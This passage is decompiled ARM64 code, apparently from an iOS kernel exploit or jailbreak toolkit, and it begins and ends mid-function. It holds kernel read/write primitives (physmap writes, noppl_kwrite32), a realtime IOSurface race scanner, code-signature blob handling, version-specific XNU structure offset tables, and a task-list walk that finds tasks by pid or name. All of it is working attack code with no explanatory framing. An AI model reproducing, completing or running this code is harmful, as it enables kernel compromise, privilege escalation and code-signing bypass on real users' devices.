              goto LABEL_65;
            }
          }
          else if ( v25 == -1 )
          {
            break;
          }
          close(v25);
        }
        break;
      }
      if ( !noppl_kwrite32((__int64)a1, v33 + 84, v30 | 0x4000) )
        break;
      close(v19);
      v19 = open("/private/etc/passwd", 0);
      if ( v19 < 0 )
        goto LABEL_27;
    }
    v11 = 0;
  }
LABEL_65:
  close(v19);
  return v11;
}

//----- (0000000000031FC0) ----------------------------------------------------
__int64 __fastcall csblob_compute_and_copy_hash(__int64 a1, void *a2)
{
  __int64 result; // x0
  unsigned int __n; // [xsp+4h] [xbp-4Ch] BYREF
  uint8_t __n_4[48]; // [xsp+8h] [xbp-48h] BYREF

  result = (__int64)csblob_find_entry(a1, *(uint32_t *)(a1 + 64), -86111230);
  if ( result )
  {
    __n = 48;
    result = compute_sha_hash(
               *(unsigned __int8 *)(result + 37),
               (const void *)result,
               bswap32(*(uint32_t *)(result + 4)),
               __n_4,
               &__n);
    if ( (uint32_t)result )
    {
      memcpy(a2, __n_4, __n);
      return 1;
    }
  }
  return result;
}

//----- (0000000000032064) ----------------------------------------------------
__int64 __fastcall physmap_kwrite_chain_entry(
        struct_krwCtx *a1,
        unsigned __int64 a2,
        unsigned int a3,
        const void *a4,
        mach_vm_size_t a5)
{
  __int64 result; // x0
  unsigned __int64 v10; // x8
  unsigned __int64 v11; // [xsp+8h] [xbp-28h] BYREF

  result = kread_physmap_decorated(a1, a2, &v11);
  if ( (uint32_t)result )
  {
    v10 = v11;
    while ( 1 )
    {
      result = kwritebuf_universal(a1, v10 + a3, a4, a5);
      if ( !(uint32_t)result )
        break;
      result = kread_physmap_decorated(a1, v11, &v11);
      if ( !(uint32_t)result )
        break;
      v10 = v11;
      if ( !v11 )
        return 1;
    }
  }
  return result;
}

//----- (00000000000320EC) ----------------------------------------------------
__int64 __fastcall get_version_specific_offset(struct_krwCtx *a1)
{
  int has_flag; // w0
  int xnuMajorVersion; // w8
  unsigned int v4; // w10
  unsigned int v6; // w10
  unsigned int v7; // w11
  unsigned int v8; // w11
  unsigned int v9; // w10

  has_flag = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
  {
    if ( has_flag )
      v6 = 216;
    else
      v6 = 208;
    if ( has_flag )
      v7 = 200;
    else
      v7 = 192;
    if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
      return v7;
    else
      return v6;
  }
  else if ( xnuMajorVersion == 7195 )
  {
    if ( has_flag )
      v8 = 176;
    else
      v8 = 168;
    if ( has_flag )
      v9 = 184;
    else
      v9 = 176;
    if ( a1->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
      return v9;
    else
      return v8;
  }
  else
  {
    if ( has_flag )
      v4 = 184;
    else
      v4 = 176;
    if ( xnuMajorVersion == 6153 )
      return v4;
    else
      return 0;
  }
}

//----- (00000000000321C0) ----------------------------------------------------
__int64 __fastcall get_dyld_slide_info(__int64 a1)
{
  int v1; // w0
  int v2; // w19
  __int64 v3; // x20
  int v4; // w19
  int v5; // w8
  int v7; // [xsp+Ch] [xbp-54h] BYREF
  uint64_t v8[7]; // [xsp+10h] [xbp-50h] BYREF

  v7 = 0;
  v8[0] = (unsigned int)(0x20000000 - *(uint32_t *)(a1 + 384));
  v8[1] = &v7;
  v8[2] = 4;
  v1 = open("/usr/lib/dyld", 0);
  if ( v1 < 0 )
  {
    v4 = errno;
    v5 = errno;
    if ( v4 < 0 )
      v5 = -v5;
    return v5 | 0x40000000u;
  }
  else
  {
    v2 = v1;
    if ( fcntl(v1, 59, v8) && errno == 85 )
      v3 = 0;
    else
      v3 = 4097;
    close(v2);
  }
  return v3;
}

//----- (00000000000322A4) ----------------------------------------------------
__int64 __fastcall spinlock_acquire_clear_bit(__int64 a1)
{
  uint32_t *v1; // x8

  v1 = *(uint32_t **)(a1 + 24);
  *(uint8_t *)a1 = 1;
  while ( (*v1 & 0x4000000) == 0 )
  {
    if ( *(uint8_t *)(a1 + 1) )
      return 0;
  }
  *v1 &= ~0x4000000u;
  __dsb(0xBu);
  return 0;
}

//----- (00000000000322D8) ----------------------------------------------------
__int64 __fastcall dyld_fcntl59_mmap_setup(__int64 a1, int *a2)
{
  int v2; // w8
  __int64 v4; // [xsp+10h] [xbp-B0h] BYREF
  __int128 v5; // [xsp+18h] [xbp-A8h]
  __int64 v6; // [xsp+28h] [xbp-98h]
  __int64 v7; // [xsp+30h] [xbp-90h]
  __int128 v8; // [xsp+38h] [xbp-88h]
  __int128 v9; // [xsp+48h] [xbp-78h]
  __int128 v10; // [xsp+58h] [xbp-68h]
  __int128 v11; // [xsp+68h] [xbp-58h]
  __int64 v12; // [xsp+78h] [xbp-48h]
  uint64_t v13[7]; // [xsp+80h] [xbp-40h] BYREF

  v2 = *a2;
  v7 = 0x22000000000LL;
  v12 = 0;
  v11 = 0u;
  v10 = 0u;
  v9 = 0u;
  v8 = 0u;
  v4 = 0x70000000020CDEFALL;
  v5 = 0x20200u;
  HIBYTE(v7) = vm_page_shift;
  v6 = 0;
  v13[0] = (unsigned int)(0x20000000 - *(uint32_t *)(a1 + 384));
  v13[1] = &v4;
  v13[2] = 112;
  if ( fcntl(v2, 59, v13) && errno == 1 )
    __error();
  return 0;
}

//----- (00000000000323C4) ----------------------------------------------------
__int64 __fastcall scan_iosurface_slot_realtime(__int64 a1)
{
  __int64 v2; // x20
  unsigned __int64 v3; // x21
  __int64 v4; // x22
  uint64_t *v5; // x23
  thread_act_t v6; // w0
  unsigned int v7; // w10
  unsigned int v8; // w9
  unsigned int v9; // w15
  uint64_t *v10; // x16
  bool v11; // zf
  unsigned __int64 v12; // x17
  bool v13; // cf
  __int64 v15; // x17
  __int64 v17; // x17
  int v18; // w16

  v2 = *(uint64_t *)(a1 + 8);
  v3 = *(uint64_t *)(a1 + 32);
  v4 = *(uint64_t *)(a1 + 48);
  v5 = *(uint64_t **)(a1 + 72);
  v6 = mach_thread_self();
  if ( set_thread_abs_realtime_50(v6) )
  {
    v7 = *(uint32_t *)(a1 + 56);
    v8 = v7 + 8;
    if ( !v7 )
    {
      v8 = 14080;
      v7 = 13056;
    }
    *(uint8_t *)a1 = 1;
    do
    {
      if ( v7 < v8 )
      {
        v9 = v7;
        while ( 1 )
        {
          v10 = (uint64_t *)(v2 + v9);
          v11 = *v10 >= 0xFFFF000000000001LL && (*v10 & v4) == 0;
          if ( v11 && !*((uint32_t *)v10 - 1) )
          {
            v12 = *(v10 - 2);
            v13 = v12 < v3 || v12 >= v3 + 0x4000;
            if ( !v13 && (*(v10 - 2) & 7LL) == 0 )
            {
              v15 = *(v10 - 2) & 0x3FFFLL;
              if ( !*(uint32_t *)(v2 + v15) && *(v10 - 3) >= 0xFFFF000000000001LL && (*(v10 - 3) & 0xFLL) == 0 )
              {
                v17 = v15 + 4;
                if ( (*(uint32_t *)(v2 + v17) & 0xFFFCC0F9) == 1 )
                  break;
              }
            }
          }
          v9 += 8;
          if ( v9 >= v8 )
            goto LABEL_29;
        }
        if ( v3 == *v5 )
        {
          *v10 = *(uint64_t *)(a1 + 16);
          if ( !*(uint8_t *)(a1 + 40) )
          {
            do
            {
              v18 = *(uint32_t *)(v2 + v17);
              if ( (v18 & 0x1000001) != 1 )
                break;
              if ( (v18 & 0x4000000) != 0 )
                *(uint32_t *)(v2 + v17) = v18 & 0xFBFFFFFF;
            }
            while ( !*(uint8_t *)(a1 + 1) );
          }
          *(uint8_t *)(a1 + 1) = 1;
          *(uint32_t *)(a1 + 60) = v9;
        }
        else
        {
          *(uint8_t *)(a1 + 1) = 1;
        }
      }
LABEL_29:
      ;
    }
    while ( !*(uint8_t *)(a1 + 1) );
  }
  return 0;
}

//----- (0000000000032538) ----------------------------------------------------
uint64_t *__fastcall alloc_physmap_page_aligned(struct_krwCtx *a1, unsigned int *a2)
{
  unsigned int v4; // w8
  unsigned int v5; // w9
  int v6; // w10
  unsigned int v7; // w9
  unsigned int v8; // w21
  uint64_t *result; // x0
  __int64 vars8; // [xsp+28h] [xbp+8h]

  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && (v4 = *a2, *a2 >= 0x1FF9) )
  {
    v5 = a1->pageSizeOrSomething;
    v6 = v4 % v5;
    v7 = v5 - v4 % v5;
    if ( !v6 )
      v7 = 0;
    v8 = v7 + v4;
    result = build_csblob_buf_from_load_cmds(a1, v7 + v4);
    if ( result )
      *a2 = v8;
  }
  else
  {
    return (uint64_t *)alloc_physmap_page((__int64)a1, a2);
  }
  return result;
}
// 325CC: variable 'vars8' is possibly undefined

//----- (00000000000325DC) ----------------------------------------------------
void __fastcall csblob_free_array(unsigned int *a1)
{
  unsigned __int64 v2; // x20
  __int64 v3; // x21
  __int64 vars8; // [xsp+28h] [xbp+8h]

  if ( *a1 )
  {
    v2 = 0;
    v3 = 8;
    do
    {
      csblob_bzero_and_free(*(uint32_t **)(*((uint64_t *)a1 + 1) + v3));
      ++v2;
      v3 += 16;
    }
    while ( v2 < *a1 );
  }
  free(*((void **)a1 + 1));
  free(a1);
}
// 32640: variable 'vars8' is possibly undefined

//----- (0000000000032650) ----------------------------------------------------
__int64 __fastcall csblob_realloc_array(unsigned int *a1, int a2, __int64 a3)
{
  int v6; // w8
  unsigned int v7; // w9
  char *v8; // x0
  __int64 v9; // x22
  char *v10; // x9
  __int64 result; // x0

  v6 = *a1;
  v7 = a1[1];
  if ( *a1 < v7 )
  {
    v8 = (char *)*((uint64_t *)a1 + 1);
LABEL_5:
    v10 = &v8[16 * v6];
    *(uint32_t *)v10 = a2;
    *((uint64_t *)v10 + 1) = a3;
    result = (unsigned int)(v6 + 1);
    *a1 = result;
    return result;
  }
  v9 = 2 * v7;
  v8 = (char *)realloc(*((void **)a1 + 1), 16 * v9);
  if ( v8 )
  {
    a1[1] = v9;
    *((uint64_t *)a1 + 1) = v8;
    v6 = *a1;
    goto LABEL_5;
  }
  return 0xFFFFFFFFLL;
}

//----- (00000000000326D0) ----------------------------------------------------
uint64_t *csblob_alloc_container()
{
  uint64_t *v0; // x19
  void *v1; // x0

  v0 = malloc(0x10u);
  if ( v0 )
  {
    v1 = malloc(0x40u);
    if ( v1 )
    {
      v0[1] = v1;
      *v0 = 0x400000000LL;
    }
    else
    {
      free(v0);
      return 0;
    }
  }
  return v0;
}

//----- (000000000003272C) ----------------------------------------------------
__int64 __fastcall pread_loop(int __fd, __int64 a2, unsigned __int64 a3, __int64 a4)
{
  unsigned __int64 v8; // x26
  unsigned int v9; // w27
  ssize_t v10; // x0
  bool v11; // cf
  unsigned __int64 v12; // x8
  __int64 result; // x0
  int v14; // w19
  int v15; // w8

  if ( a3 )
  {
    v8 = 0;
    while ( 2 )
    {
      v9 = 0;
      while ( 1 )
      {
        v10 = pread(__fd, (void *)(a2 + v8), a3 - v8, v8 + a4);
        if ( v10 != -1 )
          break;
        if ( errno == 4 )
        {
          v11 = v9++ >= 0x64;
          if ( !v11 )
            continue;
        }
        goto LABEL_15;
      }
      v12 = v10;
      if ( v10 < 0 )
      {
LABEL_15:
        v14 = errno;
        v15 = errno;
        if ( v14 < 0 )
          v15 = -v15;
        return v15 | 0x40000000u;
      }
      result = 708628;
      if ( v12 > a3 )
        return result;
      v11 = __CFADD__(v12, v8);
      v8 += v12;
      if ( v11 || v8 > a3 )
        return result;
      if ( v8 < a3 )
        continue;
      break;
    }
  }
  return 0;
}

//----- (0000000000032820) ----------------------------------------------------
__int64 __fastcall ipc_port_kobject_field_offset(struct_krwCtx *ctx, __int64 ipc_port)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  bool v5; // zf
  int v6; // w9
  __int64 v8; // x8

  result = 0LL;
  xnuMajorVersion = ctx->xnuMajorVersion;
  if ( xnuMajorVersion <= 8019 )
  {
    if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 )
    {
      v8 = 104LL;
    }
    else
    {
      if ( xnuMajorVersion != 8019 )
        return result;
      v8 = 88LL;
    }
    return v8 + ipc_port;
  }
  if ( xnuMajorVersion > 8795 )
  {
    v5 = xnuMajorVersion == 8796;
    v6 = 10002;
  }
  else
  {
    v5 = xnuMajorVersion == 8020;
    v6 = 8792;
  }
  if ( v5 || xnuMajorVersion == v6 )
  {
    v8 = 72LL;
    return v8 + ipc_port;
  }
  return result;
}

//----- (00000000000328A4) ----------------------------------------------------
unsigned __int64 __fastcall maybe_ipc_port_get_kobject(struct_krwCtx *a1, unsigned __int64 ipc_port_kaddr)
{
  unsigned __int64 result; // x0
  uint64_t xnuVersionPacked; // x8
  int v6; // [xsp+4h] [xbp-1Ch] BYREF
  __int64 v7; // [xsp+8h] [xbp-18h] BYREF

  if ( !kread_u32((__int64)a1, ipc_port_kaddr, &v6) )
    return 0;
  result = ipc_port_kobject_field_offset(a1, ipc_port_kaddr);
  if ( !result )
    return result;
  if ( !kread_physmap_decorated(a1, result, (unsigned __int64 *)&v7) )
    return 0;
  result = validate_kaddr_range((__int64)a1, v7);
  if ( !result )
    return result;
  xnuVersionPacked = a1->xnuVersionPacked;
  if ( xnuVersionPacked >= XNU_VERSION_PACKED(10002, 0, 0, 0, 0) )
  {
    if ( (v6 & 0x3FFu) > 0x29 || ((1LL << v6) & 0x20068000000LL) == 0 )
      return v7;
    if ( !kread_physmap_decorated(a1, v7 + 48, (unsigned __int64 *)&v7) )
      return 0;
    xnuVersionPacked = a1->xnuVersionPacked;
  }
  if ( xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (v6 & 0x400) == 0 )
    return v7;
  if ( kread_physmap_decorated(a1, v7 + a1->stride168, (unsigned __int64 *)&v7) )
  {
    result = validate_kaddr_range((__int64)a1, v7);
    if ( !result )
      return result;
    return v7;
  }
  return 0;
}

//----- (00000000000329B8) ----------------------------------------------------
__int64 __fastcall get_task_struct_offset(__int64 a1, __int64 a2)
{
    switch ( *(int *)(a1 + 320) ) {
        case 6153:
            if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
                return a2 + 152;
            else
                return a2 + 144;
        case 7195:
            return a2 + 144;
        case 8019:
            return a2 + 128;
        case 8020:
        case 8792:
        case 8796:
        case 10002:
            return a2 + 112;
        default:
            return 0;
    }
}

//----- (0000000000032A64) ----------------------------------------------------
__int64 __fastcall get_ipc_port_offset_by_version(__int64 a1, __int64 a2)
{
    switch ( *(int *)(a1 + 0x140) ) {
        case 6153:
            if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
                return a2 + 168;
            else
                return a2 + 160;
        case 7195:
                return a2 + 160;
        case 8019:
            return a2 + 144;
        case 8020:
        case 8792:
        case 8796:
        case 10002:
            return a2 + 128;
        default:
            return 0;
    }
}

//----- (0000000000032B10) ----------------------------------------------------
__int64 __fastcall get_privileged_host_port(__int64 a1)
{
  host_t v2; // w0
  kern_return_t v3; // w19
  mach_msg_type_number_t info_outCnt; // [xsp+Ch] [xbp-24h] BYREF
  integer_t info_out; // [xsp+10h] [xbp-20h] BYREF
  host_t host; // [xsp+18h] [xbp-18h] BYREF
  processor_set_name_t default_set; // [xsp+1Ch] [xbp-14h] BYREF
  __int64 vars8; // [xsp+38h] [xbp+8h]

  host = 0;
  info_outCnt = 2;
  if ( *(uint8_t *)(a1 + 10) && getuid() )
  {
    return mach_host_self();
  }
  else
  {
    v2 = mach_host_self();
    v3 = processor_set_default(v2, &default_set);
    if ( !v3 )
    {
      v3 = processor_set_info(default_set, 5, &host, &info_out, &info_outCnt);
      mach_port_deallocate(mach_task_self_, default_set);
    }
    if ( v3 == 53 )
      return mach_host_self();
    else
      return host;
  }
}

//----- (0000000000032BC8) ----------------------------------------------------
__int64 __fastcall get_task_struct_cached_offset(__int64 a1)
{
  __int64 v1; // x8
  int v2; // w9
  bool v3; // zf
  int v4; // w10

  v1 = *(unsigned int *)(a1 + 372);
  if ( (uint32_t)v1 )
    return v1;
  v2 = *(uint32_t *)(a1 + 320);
  if ( v2 <= 8019 )
  {
    switch ( v2 )
    {
      case 6153:
        if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(6153, 40, 149, 1023, 1023) )
          v1 = 176LL;
        else
          v1 = 168LL;
        break;
      case 7195:
        v1 = 168LL;
        break;
      case 8019:
        v1 = 160LL;
        break;
      default:
        return v1;
    }
LABEL_20:
    *(uint32_t *)(a1 + 372) = v1;
    return v1;
  }
  if ( v2 > 8795 )
  {
    v3 = v2 == 8796;
    v4 = 10002;
  }
  else
  {
    v3 = v2 == 8020;
    v4 = 8792;
  }
  if ( v3 || v2 == v4 )
  {
    v1 = 144LL;
    goto LABEL_20;
  }
  return v1;
}

//----- (0000000000032C78) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobject_addr(struct_krwCtx *a1, mach_port_t a2)
{
  mach_port_t v4; // w21
  unsigned __int64 result; // x0
  bool v6; // zf
  __int64 vars8; // [xsp+28h] [xbp+8h]

  v4 = mach_task_self_;
  if ( mach_task_self_ != a2 || (result = *(uint64_t *)&a1->gap190[32]) == 0 )
  {
    if ( a2 == -1 )
    {
      return lookup_or_resolve_kaddr((__int64)a1);
    }
    else
    {
      result = task_get_ipc_port(a1, mach_task_self_, a2);
      if ( result )
      {
        result = maybe_ipc_port_get_kobject(a1, result);
        v6 = v4 != a2 || result == 0;
        if ( !v6 && !*(uint64_t *)&a1->gap190[32] )
          *(uint64_t *)&a1->gap190[32] = result;
      }
    }
  }
  return result;
}
// 32D14: variable 'vars8' is possibly undefined

//----- (0000000000032D24) ----------------------------------------------------
unsigned __int64 __fastcall lookup_or_resolve_kaddr(__int64 a1)
{
  __int64 v1; // x8
  unsigned __int64 v3; // x1
  unsigned int v4; // w1

  v1 = *(uint64_t *)(a1 + 6616);
  if ( v1 )
    return v1;
  v3 = *(uint64_t *)(a1 + 6608);
  if ( v3 )
    return maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v3);
  v4 = *(uint32_t *)(a1 + 6428);
  if ( v4 == -1 )
    return 0;
  if ( !v4 )
  {
    v4 = *(uint32_t *)(a1 + 6424);
    if ( v4 + 1 < 2 )
      return 0;
  }
  return get_task_kobject_addr((struct_krwCtx *)a1, v4);
}

//----- (0000000000032D6C) ----------------------------------------------------
unsigned __int64 __fastcall task_self_get_ipc_port(struct_krwCtx *ctx, mach_port_t port)
{
  return task_get_ipc_port(ctx, mach_task_self_, port);
}

//----- (0000000000032D80) ----------------------------------------------------
__int64 __fastcall get_task_struct_field_offset(struct_krwCtx *krwCtx, __int64 addr)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  bool v5; // cc
  __int64 off; // x8
  __int64 v7; // x9
  __int64 out; // [xsp+8h] [xbp-18h] BYREF

  result = 0;
  xnuMajorVersion = krwCtx->xnuMajorVersion;
  if ( xnuMajorVersion <= 8791 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
    {
      v5 = krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
      off = 816;
      v7 = 776;
LABEL_16:
      if ( v5 )
        off = v7;
      goto LABEL_20;
    }
    if ( xnuMajorVersion != 6153 )
    {
      if ( xnuMajorVersion != 7195 )
        return result;
      v5 = krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
      off = 816;
      v7 = 824;
      goto LABEL_16;
    }
    off = 800;
LABEL_20:
    if ( !kread_physmap_decorated(krwCtx, off + addr, (unsigned __int64 *)&out) )
      return 0;
    if ( validate_kaddr_range((__int64)krwCtx, out) )
      return out;
    return 0;
  }
  if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
  {
    off = 768;
    goto LABEL_20;
  }
  return result;
}

//----- (0000000000032E84) ----------------------------------------------------
__int64 __fastcall get_task_pid_offset(__int64 a1)
{
  __int64 result; // x0
  int v3; // w9

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 > 8791 )
  {
    if ( v3 == 8792 || v3 == 8796 || v3 == 10002 )
      return 696LL;
  }
  else if ( (unsigned int)(v3 - 8019) < 2 )
  {
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      return 744LL;
    else
      return 704LL;
  }
  else if ( v3 == 6153 )
  {
    return 720LL;
  }
  else if ( v3 == 7195 )
  {
    return 736LL;
  }
  return result;
}

//----- (0000000000032F1C) ----------------------------------------------------
__int64 __fastcall task_proc_struct_field_offset(struct_krwCtx *a1)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  uint64_t xnuVersionPacked; // x20
  int has_flag; // w0
  unsigned int v6; // w9
  unsigned int v7; // w10
  bool v9; // cc
  unsigned int v10; // w8
  unsigned int v11; // w9
  int v12; // w0
  uint64_t v13; // x8
  bool v14; // cc
  unsigned int v15; // w8
  unsigned int v16; // w9

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion <= 8791 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
    {
      if ( xnuMajorVersion == 6153 )
      {
        if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
          return 904;
        else
          return 896;
      }
      else if ( xnuMajorVersion == 7195 )
      {
        xnuVersionPacked = a1->xnuVersionPacked;
        has_flag = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
        if ( has_flag )
          v6 = 928;
        else
          v6 = 912;
        if ( has_flag )
          v7 = 944;
        else
          v7 = 920;
        if ( xnuVersionPacked >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
          return v7;
        else
          return v6;
      }
      return result;
    }
    if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15) )
    {
      v12 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK);
      v13 = a1->xnuVersionPacked;
      v14 = v13 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
      if ( v13 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
        v15 = 928;
      else
        v15 = 888;
      if ( v14 )
        v16 = 912;
      else
        v16 = 952;
      if ( v12 )
        return v16;
      else
        return v15;
    }
    v9 = a1->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
    v10 = 968;
    v11 = 928;
LABEL_27:
    if ( v9 )
      return v11;
    else
      return v10;
  }
  if ( xnuMajorVersion == 8792 )
  {
    v9 = a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 60, 50, 1023, 1023);
    v10 = 1328;
    v11 = 1336;
    goto LABEL_27;
  }
  if ( xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
    return 1840;
  return result;
}

//----- (0000000000033098) ----------------------------------------------------
__int64 __fastcall get_ptrauth_data_ptr_offset(struct_krwCtx *a1)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion <= 8795 )
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
    {
      if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
        return 0;
      else
        return (unsigned int)task_proc_struct_field_offset(a1) + 8;
    }
    if ( xnuMajorVersion != 8792 )
      return result;
    goto LABEL_11;
  }
  if ( xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
  {
LABEL_11:
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK) )
    {
      return 928;
    }
    else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
    {
      return 904;
    }
    else
    {
      return 880;
    }
  }
  return result;
}

//----- (0000000000033168) ----------------------------------------------------
__int64 __fastcall get_context_version_offset_40(__int64 a1)
{
  __int64 result; // x0
  int v3; // w9

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 <= 8795 )
  {
    if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 8792 )
      return result;
LABEL_7:
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      return 0LL;
    else
      return 40LL;
  }
  if ( v3 == 10002 || v3 == 8796 )
    goto LABEL_7;
  return result;
}

//----- (00000000000331D0) ----------------------------------------------------
__int64 __fastcall get_context_version_offset_112(__int64 a1)
{
  __int64 result; // x0
  int v3; // w9

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  if ( v3 <= 8795 )
  {
    if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 8792 )
      return result;
LABEL_7:
    if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      return 0LL;
    else
      return 112LL;
  }
  if ( v3 == 10002 || v3 == 8796 )
    goto LABEL_7;
  return result;
}

//----- (0000000000033238) ----------------------------------------------------
__int64 __fastcall get_version_adjusted_offset(__int64 a1)
{
  __int64 result; // x0

  result = get_context_version_offset_112(a1);
  if ( (uint32_t)result )
    return (unsigned int)(result - *(uint32_t *)(a1 + 360));
  return result;
}

//----- (0000000000033268) ----------------------------------------------------
unsigned __int64 __fastcall get_ptrauth_base_offset(__int64 a1, unsigned int a2)
{
  int v4; // w0
  unsigned int v5; // w21
  unsigned __int64 result; // x0

  if ( *(int *)(a1 + 320) >= 8792 )
  {
    v4 = get_ptrauth_data_ptr_offset((struct_krwCtx *)a1);
    if ( v4 )
    {
      v5 = v4 - *(uint32_t *)(a1 + 360);
      goto LABEL_5;
    }
    return 0;
  }
  v5 = task_proc_struct_field_offset((struct_krwCtx *)a1);
  if ( !v5 )
    return 0;
LABEL_5:
  result = get_task_kobject_addr((struct_krwCtx *)a1, a2);
  if ( result )
    result += v5 + ((__int64)*(int *)(a1 + 360) << (*(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)));
  return result;
}

//----- (0000000000033304) ----------------------------------------------------
__int64 __fastcall read_kaddr_at_task_offset(struct_krwCtx *a1, __int64 a2)
{
  unsigned int v4; // w0
  __int64 v6; // [xsp+8h] [xbp-18h] BYREF

  v4 = task_proc_struct_field_offset(a1);
  if ( !v4 )
    return 0;
  if ( a1->xnuMajorVersion >= 8792 )
    return a2 - v4;
  if ( !kread_physmap_decorated(a1, v4 + a2, (unsigned __int64 *)&v6) || !v6 )
    return 0;
  if ( validate_kaddr_range((__int64)a1, v6) )
    return v6;
  return 0;
}

//----- (000000000003338C) ----------------------------------------------------
__int64 __fastcall get_task_context_size(__int64 a1)
{
  __int64 result; // x0
  int v3; // w10
  __int64 v4; // x9

  result = 0LL;
  v3 = *(uint32_t *)(a1 + 320);
  v4 = 40LL;
  if ( v3 <= 8791 )
  {
    if ( (unsigned int)(v3 - 8019) >= 2 && v3 != 6153 )
    {
      if ( v3 != 7195 )
        return result;
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
        return 40LL;
      else
        return 32LL;
    }
    return v4;
  }
  if ( v3 == 8792 || v3 == 8796 || v3 == 10002 )
    return v4;
  return result;
}

//----- (0000000000033414) ----------------------------------------------------
__int64 __fastcall krw_task_for_pid_0(struct_krwCtx *a1, __int64 a2, int pid)
{
  return krw_task_for_pid_or_name_ret_x0(a1, a2, pid, 0);
}

//----- (000000000003341C) ----------------------------------------------------
__int64 __fastcall krw_task_for_pid_or_name_ret_x0(struct_krwCtx *a1, __int64 a2, int pid, const char *a4)
{
  uint32_t xnuMajorVersion; // w8
  uint64_t pidOffset; // x24
  uint64_t nameOffset; // x25
  int taskContextSize; // w0
  uint32_t taskListNextOffset; // w23
  uint64_t dataBase; // x26
  uint64_t dataSize; // x8
  uint64_t dataEnd; // x20
  uint64_t taskListHead; // [xsp+8h] [xbp-88h] BYREF
  int taskPid; // [xsp+4h] [xbp-8Ch] BYREF
  SearchObj dataSegment; // [xsp+10h] [xbp-80h] BYREF

  xnuMajorVersion = a1->xnuMajorVersion;
  pidOffset = 0;
  nameOffset = 0;
  if ( a4 )
  {
    if ( xnuMajorVersion == 8792 )
      nameOffset = 897;
    else if ( xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
      nameOffset = 1401;
    else
      return 0;
  }
  else if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 || xnuMajorVersion == 10002 )
  {
    pidOffset = 96;
  }
  else if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 || (unsigned int)(xnuMajorVersion - 8019) < 2 )
  {
    pidOffset = 104;
  }
  else
  {
    return 0;
  }

  taskContextSize = get_task_context_size((__int64)a1);
  if ( !taskContextSize )
    return 0;

  dataBase = 0;
  dataSize = 0;
  dataEnd = 0;
  if ( a1->gap1921[2] )
  {
    macho_walk_segment_by_name("__DATA", a1->gap1921[2], &dataSegment);
    dataBase = dataSegment.base_ptr;
    if ( !dataBase )
      return 0;
    dataSize = dataSegment.size;
    if ( !dataSize )
      return 0;
    if ( dataSegment.field_0x00 )
      dataEnd = dataBase + dataSize;
  }

  taskListNextOffset = (uint32_t)(a1->stride168 + taskContextSize);
  for ( int retry = 0; retry != 6; ++retry )
  {
    taskListHead = a2;
    while ( 1 )
    {
      uint64_t task = read_kaddr_at_task_offset((__int64)a1, taskListHead);
      if ( task )
      {
